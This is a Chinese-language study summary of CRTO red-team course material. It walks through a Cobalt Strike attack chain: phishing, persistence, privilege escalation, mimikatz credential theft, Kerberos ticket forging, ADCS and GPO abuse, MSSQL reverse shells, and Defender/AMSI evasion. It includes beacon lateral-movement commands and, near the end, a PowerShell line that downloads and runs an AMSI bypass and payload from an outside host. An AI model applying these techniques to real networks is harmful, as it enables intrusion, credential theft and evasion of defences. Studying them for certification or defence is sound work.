本篇基于crto内容总结
cs可以生成的listern有
还有个pivot listener只能在现有的信标上创建,且负载类型是beacon_reverse_tcp,而不是beacon_bind_tcp
可以利用dnscan.py收集子域名,spoofy用于验证给定域的电子邮件安全
密码喷射可以用mailsniper.ps1,利用namemash.py将获取一个人的全名并将其转换为可能的用户名排列
密码喷射后登入邮件系统,现在要发送钓鱼邮件获取其它用户权限
1.网络钓鱼宏注入2.远程模板注入3.html走私
钓鱼成功上线后cs上线
先进行主机观察:
1.ps看进程
2.seatbelt https://github.com/GhostPack/Seatbelt
以检查安全配置,例如操作系统信息、AV、AppLocker、LAPS、PowerShell 日志记录、审核策略、.NET 版本、防火墙规则等。
3.net logons观察登入用户
4.cs里的Screenshots 截图,Keylogger 键盘记录器,Clipboard 键盘记录
维持权限
普通用户
利用工具 SharPersist
一.创建一个计划任务 -t schtask参数
二.启动文件(用户启动文件夹中的应用程序、文件和快捷方式在用户首次登录时自动启动。它通常用于引导用户的家庭环境(设置壁纸、快捷方式等) 参数-t startupfolder
三.注册表自动运行 (HKCU 和 HKLM 中的 AutoRun 值允许应用程序在引导时启动。您通常会看到它们用于启动本机和第三方应用程序,例如软件更新程序、下载助手、驱动程序实用程序等。)参数-t reg
四.寻找com劫持
有两种
1.寻找废弃键
更安全的策略是查找尝试加载实际不存在的对象(所谓的“废弃”键)的应用程序实例,而不是劫持正在使用的 COM 对象并破坏依赖它们的应用程序(就是将这个注册表键指向我们的beacon.dll)
过程就是利用 Process Monitor (要找InprocServer32)先在本地计算机找废弃键,然后在受害机上劫持
2.寻找计划任务程序
寻找可劫持 COM 组件的另一个好地方是任务计划程序。许多默认 Windows 任务实际上使用自定义触发器来调用 COM 对象,而不是在磁盘上执行二进制文件。由于它们是通过任务计划程序执行的,因此更容易预测它们何时被触
可以用powershell脚本找找到只需在 HKCU 中添加一个指向我们的 DLL 的重复条目(如上所述),并且每次用户登录时都会加载一次。
system用户
一.自己创建windows服务
二.利用wmi
WMI允许管理员通过一种统一的接口访问系统资源,这些资源包括硬件、软件和操作系统配置。通过WMI,管理员可以编写脚本或应用程序来自动执行诸如获取系统信息、修改系统设置、监控性能等任务。
利用工具powerlurk
可以利用它创建一个新的wmi事件,在计算机启动时运行
权限提升
辅助工具
GitHub - GhostPack/SharpUp: SharpUp is a C# port of various PowerUp functionality.
一:为加引号的服务路径
满足两个条件
1.VulnService1 路径中包含空格且未加引号
2.如果我们可以将二进制文件放入任何这些路径中,该服务将在真正的路径之前执行它。当然,不能保证我们有权写入其中任何一个
就是一个服务的路径类似
VulnService1 C:\Program Files\Vulnerable Services\Service 1.exe
没有引号加空格就会把空格当作终结符
它将尝试执行以下操作(按顺序):
-
C:\Program.exe
-
C:\Program Files\Vulnerable.exe
-
C:\Program Files\Vulnerable Services\Service.exe
二.弱服务权限(该路径)
可以看到所有经过身份验证的用户都对该服务具有 ChangeConfig、Start 和 Stop 权限。我们可以通过更改服务的二进制路径来滥用这些弱权限 - 因此我们可以让它运行类似 C:\Temp\payload.exe
的内容,而不是运行 C:\Program Files\Vulnerable Services\Service 2.exe
三.直接覆盖二进制文件
这与之前的漏洞略有不同,但弱权限不是针对服务,而是针对服务二进制文件本身。
四.UAC BYPASS
1.cs自带 elevate uac-schtasks tcp-local
2.补充
- 各类的UAC白名单程序的DLL劫持
- 各类自动提升权限的COM接口利用(Elevated COM interface)
- Windows 自身漏洞提权
- 远程注入
BypassUAC原理及方法汇总-安全客 - 安全资讯平台 (anquanke.com)
获取凭证
利用mimikatz
获取sam(Security Account Manager),获取hash
dcsync(需要域控)
获取key
看有无cache
获取明文密码可以 make_token
TGT(用Rubeus)
域侦察
普通用户和system用户侦察的可能不一样
利用powerview
可以获取域名,域控,森林域,域信任(或许可以横向),获取域策略 ,获取域用户,获取域机器,所有组织单位 (OU) 或特定 OU 对象,域组,域组成员 ,所有组策略对象 (GPO) 或特定 GPO 对象,通过受限组或组策略首选项修改本地组成员身份的所有 GPO。然后,您可以手动查找这些 GPO 适用于哪些 OU,以及扩展哪些计算机,组策略被被哪些引用
sharpview
GitHub - tevora-threat/SharpView: C# implementation of harmj0y's PowerView
ADsearch
多用于ldap自定义轻量级目录访问协议 (LDAP)
用户模拟
pth
传递哈希是一种允许您使用用户密码的 NTLM 哈希对 Windows 服务进行身份验证的技术。它的工作原理是使用虚假身份启动新的登录会话,然后用提供的域、用户名和 NTLM 哈希替换会话信息。
cs自带的pth
ptt
许您将 Kerberos 票证添加到您有权访问的现有登录会话 (LUID) 或您创建的新登录会话中。然后,访问远程资源将允许通过 Kerberos 进行身份验证。
1.创建空白的“牺牲”登录会话,将 TGT 传递到其中
2.ptt将票据传递给这个会话
3.steal_token pid(新会话的pid)
利用hash请求票证
允许我们使用 NTLM 或 AES 哈希为用户请求 Kerberos TGT
然后利用ptt来利用
模拟令牌
如ps看到某进程的pid是5536是另外一个用户的
steal_token 5536
可以模拟该用户
存储令牌
token-store steal 5536
token-store use 0
制作票证
make _token
进程注入
进程注入允许我们将任意 shellcode 注入到我们选择的进程中。您只能注入那些您可以获得句柄并具有足够权限写入其内存的进程
Beacon 有两个主要的注入命令 - shinject
和 inject
beacon> inject 4464 x64 tcp-local
4464是目标PID。x64是进程的架构。tcp-local 是侦听器名称。
内网横向
jump [method] [target] [listener]
remote-exec [method] [target] [command
Windows Remote Management
WinRM64 是一个远程管理协议
winrm
和 winrm64
方法可根据需要用于 32 位和 64 位目标。
beacon> jump winrm64 web.dev.cyberbotic.io smb
psexec
psexec
/ psexec64
命令的工作原理是将服务二进制文件上传到目标系统,然后创建并启动 Windows 服务来执行该二进制文件。以这种方式执行的信标作为SYSTEM运行
beacon> jump psexec64 web.dev.cyberbotic.io smb
wmi
WMI 不是 jump
命令的一部分,而是 remote-exec
命令的一部分。 remote-exec
方法使用 WMI 的“进程调用创建”来执行我们在目标上指定的任何命令。最直接的使用方法是将有效负载上传到目标系统并使用 WMI 来执行它。
beacon> cd \\web.dev.cyberbotic.io\ADMIN$
beacon> upload C:\Payloads\smb_x64.exe
beacon> remote-exec wmi web.dev.cyberbotic.io C:\Windows\smb_x64.exe
连接
beacon> link web.dev.cyberbotic.io TSVCPIPE-81180acb-0512-44d7-81fd-fbfea25fff10
如果wmi被拒绝了
使用 SharpWMI工具
DCOM
Beacon 没有通过分布式组件对象模型 (DCOM) 进行交互的内置功能,因此我们必须使用 Invoke-DCOM 等外部工具。我们将在后面的模块中看到如何将其集成到 jump
命令中
Invoke-DCOM.ps1
内网穿透
socks代理
将我们的 C2 服务器转变为 SOCKS 代理,以通过隧道将外部工具引入内部网络。
socks使用Linux代理
工具proxychains
可以用nmap,gettgt.py(获得后本地导入票据可以横向)
socks使用windows代理
proxifier
要启用通过代理进行身份验证,需要以目标域中的用户身份启动应用程序。这可以使用 runas /netonly
或 Mimikatz 来实现。
这个可以用来登入heidisql
反向端口转发
rportfwd
ntlm中继
在 NTLM 中继攻击中,攻击者能够拦截或捕获此身份验证流量,并有效地允许他们针对相同或其他服务冒充客户端。例如,客户端尝试连接到服务 A,但攻击者拦截身份验证流量并使用它来连接到服务 B,就好像他们是客户端一样
工具:Responder 和 ntlmrelayx
webdav
这些步骤是强制服务对我们控制的恶意 WebDAV 服务器进行身份验证,然后中继身份验证。这种攻击的一个好处是我们可以强制在任何端口上进行身份验证,因此我们不必担心需要 PortBender。
数据保护api
数据保护 API (DPAPI) 是 Windows 中内置的一个组件,它提供了一种加密和解密数据“blob”的方法。Windows 凭据管理器使用 DPAPI 来存储保存的机密(例如 RDP 凭据),并由 Google Chrome 等第三方应用程序使用来存储网站凭据。
Credential Manager
vaultcmd
工具。 Seatbelt.exe 可以检测
利用mimikatz解密
Scheduled Task Credentials 计划任务凭证
Kerberos
https://seevae.github.io/2020/09/12/%E8%AF%A6%E8%A7%A3kerberos%E8%AE%A4%E8%AF%81%E6%B5%81%E7%A8%8B/
这个网站很全
Kerberoasting
Kerberoasting 是一种为在域帐户上下文中运行的服务请求 TGS 并离线破解它们以泄露其明文密码的技术
可以选择烘焙(有效的用户)
用Rebeuse
ASREP Roasting
如果用户没有启用 Kerberos 预身份验证,则可以为该用户请求 AS-REP,并且可以离线破解部分回复以恢复其明文密码
不受约束性委派
委派允许用户或计算机代表另一个用户执行另一个服务
无约束委派的一个有趣的方面是,无论用户正在访问哪个服务,它都会缓存用户的 TGT。因此,如果管理员访问使用 Kerberos 的计算机上的文件共享或任何其他服务,他们的 TGT 将被缓存
如果我们可以通过不受约束的委派来破坏一台机器,我们就可以从其内存中提取任何 TGT,并使用它们来针对域中的其他服务模拟用户。
1.ADsearch可以找无约束委派的所有计算机。
2.如果它是无约束性委派,则们就可以从其内存中提取任何 TGT,ptt传递
3.如果没有票据,可以强制计算机帐户远程验证到该计算机(rubeuse的minitor和SharpSpoolTrigger。)
受约束性委派
它的目的是限制服务器可以代表用户执行的服务。它不再允许服务器缓存其他用户的TGT,但允许它使用自己的TGT为另一个用户请求TGS。
1.ADsearch可以寻找受限委派的计算机(msds-allowedtodelegateto
属性不为空的计算机)
2.dump受委派信任的主体(计算机或用户)的 TGT
3.执行s4u
S4U2Self 是 Kerberos 协议中的一种认证委派方式,它的全称是 "Service for User to Self"。它允许一个服务(service)代表用户(user)向 Kerberos 颁发机构(Kerberos Ticket Granting Ticket,TGT)请求一个服务票据(Service Ticket)。
需要一个服务代表用户向 Kerberos 颁发机构请求服务票据时,S4U2Self 就会被使用。
S4U2Proxy 是 Kerberos 协议中的一种认证委派方式,它的全称是 "Service for User to Proxy"。它允许一个服务(service)代表用户(user)向 Kerberos 颁发机构(Kerberos Ticket Granting Ticket,TGT)请求一个服务票据(Service Ticket),并将该服务票据进一步委派给另一个服务(proxy service)。
S4U2Self 允许服务代表用户获取自身的 TGS,S4U2Proxy 允许服务代表用户获取第二个服务的 TGS
替换服务
Rubeus 中使用 /altservice
标志来滥用它。在此示例中,我对 SQL-2 使用相同的 TGT 来请求 LDAP(而不是 CIFS)的 TGS。
基于资源约束性委派
它允许在目标而不是源上设置委派配置
完成攻击的两个主要先决条件是:
1.您可以在其上修改 msDS-AllowedToActOnBehalfOfOtherIdentity 的目标计算机。
2.控制具有 SPN 的另一个主体。
攻击:
1.修改目标机器msDS-AllowedToActOnBehalfOfOtherIdentity(安全描述符)
2.执行s4u
创建假计算机
利用StandIn.exe,Rubeus hash
可以获取该密码并计算其哈希值。,利用asktgt可以获得票据
然后这就可以允许你在利用资源约束性委派时不用控制具有 SPN 的另一个主体。,直接用假计算机
影子凭证
PKI 是 "Public Key Infrastructure" 的缩写,即公钥基础设施,PKI 主要由以下几个组成部分构成:CA(证书颁发机构),RA...............
有证书信任模型
还有一种密钥信任模型,其中信任是基于原始密钥数据而不是证书建立的。这要求客户端将其密钥存储在自己的域对象上,名为 msDS-KeyCredentialLink
的属性中。 “影子凭证”攻击的基础是,如果您可以在用户或计算机对象上写入此属性,则可以获得该主体的 TGT。因此,与 RBCD 一样,这是一种 DACL 式的滥用。
DACL 是 "Discretionary Access Control List" 的缩写,即自主访问控制列表
1.利用Whisker.exe罗列键值
2.利用Whisker.exe添加键值(获得证书和密码)
3.rebeus请求tgt(用证书)
Kerberos Relay Attacks Kerberos 中继攻击(本地提权)
攻击者创建一个只能使用Kerberos进行身份验证,可以指定任意spn的rpc服务器,然后,他们强制特权 COM 服务器连接到其恶意 RPC 服务器,该服务器将执行身份验证并生成适当的 Kerberos 票证
这个攻击过程利用了RPC服务器的漏洞,欺骗了Kerberos认证系统,通过伪造的身份和票证,成功获取了对Active Directory中计算机对象的修改权限,从而实现了本地权限提升
利用(krbbrelay)
1.rbcd
2.影子凭证(可以不用添加假假计算机)
活动证书
证书模板配置错误
1.利用Certify.exe找模板配置错误证书
需要有注册权限才可以从此模板请求证书
2.此配置允许任何域用户为任何其他域用户(包括域管理员)请求证书并将其用于身份验证
证书格式.pem 利用openssl转换.pfx(包含私钥和证书链)
然后请求tgt
ntlm中继到adcs http端点
可以用于计算机持久(下载计算机存储的证书)
默认情况下,用户证书的有效期为一整年,无论密码如何更改
mimikatz可以导出
组策略
组策略对象 (GPO) 是应用于组织单位 (OU) 的配置集。默认情况下,只有域管理员可以创建 GPO 并将其链接到 OU,但通常的做法是将这些权限委托给其他团队。此委派通常分配给域组 - 例如,“工作站管理员”组可能有权管理应用于“工作站”OU 的 GPO。这些可以通过允许用户将恶意 GPO 应用到域管理员用户或其计算机来创造权限升级机会
修改现有gpo
1.利用powershell寻找谁可以修改哪个gpo
2.看一下gpo适用与哪个ou,获取ou的计算机
们可以直接在SYSVOL(gpcFileSysPath)中修改关联文件。
使用计算机启动脚本的示例。它将在 SYSVOL 中放置一个启动脚本,每次受影响的计算机启动时都会执行该脚本(顺便说一句,这也充当了良好的持久性机制)。
利用SharpGPOAbuse.exe
创建并链接gpo
1.找具有创建 gpo的 组成员
2.可以链接到ou的组
3.创建新组策略,并添加到组策略
4.gpo应用到组ou
mssql
PowerUpSQL 和 SQLRecon 是用于枚举 MS SQL Server 并与 MS SQL Server 交互的优秀工具。
mssqlclient(proxychains)
或者Windows SQL GUI,例如通过 Proxifier 的 HeidiSQL:
1.查找mysql管理员
可以寻找适当名称的域组及其成员
这个命令的目的是列出域中所有名称包含 "SQL" 的组,并列出这些组中的成员
另一种选择是使用 MS SQL 服务帐户本身,因为它通常也被授予系统管理员权限(利用 kerberoast )
wintoken利用现有token用于SQLRecon枚举
mssql模拟
前提
DEV\Domain Users
已被授予模拟 DEV\mssql_svc
帐户的能力
可以用
EXECUTE AS
在目标上下文中执行查询。
sQLRecon 模块还可以在“模拟模式”下运行,方法是在模块名称前添加 i
mssql命令执行
前提
1.sysadmin权限
2. xp_cmdshell开启(先查状态,禁用需要启动)
SQLRecon 还有一个用于与 xp_cmdshell 配置交互的模块,该模块也可以与模拟模块结合使用
输入反弹shell命令
mssql横向移动(横向到链接sql)
SQLRecon可以查链接
OpenQuery在链接服务器上使用 xp_cmdshell 执行反弹shell
mssql权限提升(sweetpotato)
SweetPotato.exe工具
Microsoft Configuration Manager 微软配置管理器
SCCM 的作用是帮助完成系统管理任务,例如应用程序和软件部署、更新以及合规性配置和报告。
在 Windows 环境中,大多数计算机将加入域,因此将使用自己的计算机帐户凭据向 SCCM 软件分发点 (SDP)(基本上只是 SMB 共享)进行身份验证。但是,某些计算机可能未加入域。网络访问帐户凭据 (NAA) 是这些计算机用于通过网络访问 SDP 的域凭据。它们作为 SCCM 计算机策略的一部分传递到计算机,然后使用 DPAPI 进行加密并存储在本地。如果它们存在,特权用户可以通过 WMI 或直接从磁盘检索这些凭据 blob,并对它们进行解密以恢复纯文本凭据
可以横向利用SharpSCCM.exe
Domain Dominance(领域主导地位)
银票
“银票”是伪造的服务票
您可以为任何用户伪造该机器上任何服务的 TGS
计算机密码每 30 天更改一次,此时您必须重新获取新密码才能继续制作银票
可以用rubeus
前提:1.Kerberos keys(des_cbc_md4)
2.机器sid
金票
“金票”是伪造的 TGT,由域的 krbtgt 帐户签名。它可用于冒充任何用户,银票仅限于该单一服务或单一计算机上的任何服务。但是黄金票证金票允许攻击者获得域中任何服务的访问权限,甚至可以伪装成任何用户,而不需要知道其密码。
前提:
1.域管:dcsync可以获取krbtgt账户的aes256 key
2.sid
钻石票据
检测黄金票证使用情况的一种可能策略是查找没有相应 AS-REQ 的 TGS-REQ。 “钻石票”是通过修改 DC 发行的合法 TGT 的字段来制作的。这是通过请求 TGT、使用域的 krbtgt 哈希对其进行解密、修改票证的所需字段,然后重新加密来实现的。这克服了前面提到的黄金票证的缺点,因为任何 TGS-REQ 都会有一个前面的 AS-REQ。
前提
伪造证书(提权和维持)
在较大的组织中,AD CS 角色安装在单独的服务器上,而不是安装在域控制器本身上
因此虽然只有 EA 和 DA 可以访问/管理 DC,但server admins 等“较低级别”角色可以访问 CA。
Enterprise Administrators (EAs)**:Domain Administrators (DAs):
前提:1.提取 CA 私钥,该私钥可用于签署伪造的证书(SharpDPAPI)
ForgeCert.exe用于伪造证书
森林和域信任
Parent/Child(双向)
如果我们在子级中拥有域管理权限,那么我们还可以使用具有称为SID 历史记录的特殊属性的 TGT 在父级中获得域管理权限。 SID 历史记录旨在支持迁移场景,即用户从一个域移动到另一个域
可以用金票和砖石票(唯一需要的附加信息是父域中目标组的 SID。)
还可以跨域信任进行 kerberoast 和 ASREProast,这可能会导致特权凭据泄露
One-Way Inbound
,信任是入站的(就是你信任我),这意味着我们域中的主体可以被授予对外部域中资源的访问权限。我们可以枚举跨信任的外部域
我们可以枚举跨信任的外部域
1.枚举看下一个域的管理员组里有没有不是改域的用户,可能是我们域的用户
2.在我们域找到改用户制作域间票据
One-Way Outbound
我们信任别的域
利用信任的共享凭证来获得从 CYBER 到 MSP 的“域用户”访问权限。
信任关系中的两个域都在受信任域对象 (TDO) 中存储共享密码(每 30 天自动更改一次)
利用dcsync和tdo联合获取新旧密码(用rc4的)
然后找到我们信任域的信任帐户(CYBER$ )制作域间票据
本地管理员密码解决方案(LAPS)
LAPS 是一种 Microsoft 解决方案,用于管理每台计算机上的本地管理员帐户(默认 RID 500 或自定义帐户)的凭据。它确保每个帐户的密码都是不同的、随机的,并且按照定义的时间表自动更改。可以委派请求和重置凭证的权限,这也是可审计的
Reading ms-Mcs-AdmPwd(获取密码)
1.先找谁可以读取ms-Mcs-AdmPwd(LAPSToolkit 等专用工具)
2.可以利用 powershell Get-DomainComputer读取(poerview)
Password Expiration Protection(密码过期保护,持久性)
就是可以设置密码保护的时间(就是自动重置的时间改到很久以后)
LAPS后门(如何留取后门获取长期密码)
这块就不总结的,
绕过defender antivirus
导入artifact kit
套件
先./build.sh重建
然后用ThreatCheck 等工具 分析,找到对应的恶意二进制代码
用IDA 和 Ghidra 等逆向工具分析,导航到具体代码位置,然后更改一下(比如加密,加随机数什么的)
可以psexec64横向了
导入resource kit套件
过AMSI
可以横向(Smb)
远程下载web托管
一种常见的混乱来源是使用脚本化 Web 交付方法托管 PowerShell 有效负载时,因为当无阶段 PowerShell 有效负载不捕获时,这些负载通常会被捕获。
使用host file搭建就可以;
AMSI 与后利用
在prifile内添加
post-ex {
set amsi_disable "true";
}
手动绕过
PS C:\Users\bfarmer> iex (new-object net.webclient).downloadstring("http://nickelviper.com/bypass"); iex (new-object net.webclient).downloadstring("http://nickelviper.com/a")
bypass是绕过脚本托管在cs上
行为检测
改rundll为dllhost